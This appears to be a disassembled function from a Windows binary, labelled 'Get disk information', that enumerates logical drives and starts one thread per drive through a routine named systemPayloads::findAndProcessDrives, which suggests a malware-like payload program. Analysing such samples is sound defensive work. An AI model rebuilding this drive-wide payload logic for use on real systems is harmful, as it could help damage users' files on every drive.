Function at 0x140011c97
Capabilities:
Get disk information

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x150
lea rbp, [rsp + 0x80]
mov rax, rbp
mov rcx, rax
call fcn.1400e3aa0
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call rax
mov dword [rbp + 0xcc], eax
cmp dword [rbp + 0xcc], 0
jne 0x140011d04
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov rbx, rax
lea rax, str.Error
mov rdx, rax
mov rcx, rbx
call method.std::runtime_error.runtime_error_char_const_
mov r8, qword [fcn.1400d0bb0]
lea rax, [0x140110b60]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
mov byte [rbp + 0xcb], 0x41
jmp 0x140011dad
mov eax, dword [rbp + 0xcc]
and eax, 1
test eax, eax
je 0x140011d97
lea rax, [rbp + 0x6e]
mov qword [rbp + 0xa0], rax
nop
nop
movsx edx, byte [rbp + 0xcb]
lea rcx, [rbp + 0x6e]
lea rax, [rbp + 0x40]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x40]
lea r8, [0x140106be7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x20]
mov rax, rbp
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x6e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
shr dword [rbp + 0xcc], 1
movzx eax, byte [rbp + 0xcb]
add eax, 1
mov byte [rbp + 0xcb], al
cmp byte [rbp + 0xcb], 0x5a
jle 0x140011d10
mov rax, rbp
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.empty___const
test al, al
je 0x140011e01
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov rbx, rax
lea rax, str.Error
mov rdx, rax
mov rcx, rbx
call method.std::runtime_error.runtime_error_char_const_
mov r8, qword [fcn.1400d0bb0]
lea rax, [0x140110b60]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rcx, [0x140106e80]
lea rax, [rbp + 0x6f]
mov qword [rbp + 0x98], rax
nop
nop
lea rdx, [rbp + 0x6f]
lea rax, [rbp - 0x20]
mov r9, rdx
mov r8, rcx
lea rdx, str.bytebeats.h
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector_char_const_const__void__char_const_const__cha
lea rax, [rbp + 0x6f]
mov rcx, rax
call method.std::__new_allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.__new_allocator__
nop
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400e4130
mov rax, rbp
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov qword [rbp - 0x48], rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov qword [rbp - 0x50], rax
jmp 0x140011edb
lea rax, [rbp - 0x48]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov qword [rbp + 0xa8], rax
mov rdx, qword [rbp + 0xa8]
lea rax, [rbp + 0x70]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov qword [rbp + 0x90], rax
mov esi, 0
lea rdx, [rbp + 0x70]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::thread_std::vector_std::thread__std::allocator_std::thread___::emplace_back_systemPayloads.findAndProcessDrives__::lambda__1__systemPayloads::findAndProcessDrives__::lambda__1_
lea rax, [rbp + 0x70]
mov rcx, rax
call method.systemPayloads.findAndProcessDrives__::lambda__1::findAndProcessDrives__
lea rax, [rbp - 0x48]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x48]
mov rcx, rax
call sym._ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EES
test al, al
jne 0x140011e7d
lea rax, [rbp - 0x40]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call method.std::vector_std::thread__std::allocator_std::thread___.begin__
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call method.std::vector_std::thread__std::allocator_std::thread___.end__
mov qword [rbp - 0x60], rax
jmp 0x140011f50
lea rax, [rbp - 0x58]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_std::thread__std::vector_std::thread__std::allocator_std::thread_____.operator___const
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
call method.std::thread.join__
lea rax, [rbp - 0x58]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_std::thread__std::vector_std::thread__std::allocator_std::thread_____.operator__
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x58]
mov rcx, rax
call method.bool___gnu_cxx::operator__std::thread__std::vector_std::thread__std::allocator_std.thread________gnu_cxx::__normal_iterator_std::thread__std::vector_std::thread__std::allocator_std::thread______const____gnu_cxx::__normal_iterator_std::thread__
test al, al
jne 0x140011f22
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_std::thread__std::allocator_std::thread___.vector__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
mov rax, rbp
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
jmp 0x140012052
nop
add rsp, 0x150
pop rbx
pop rsi
pop rbp
ret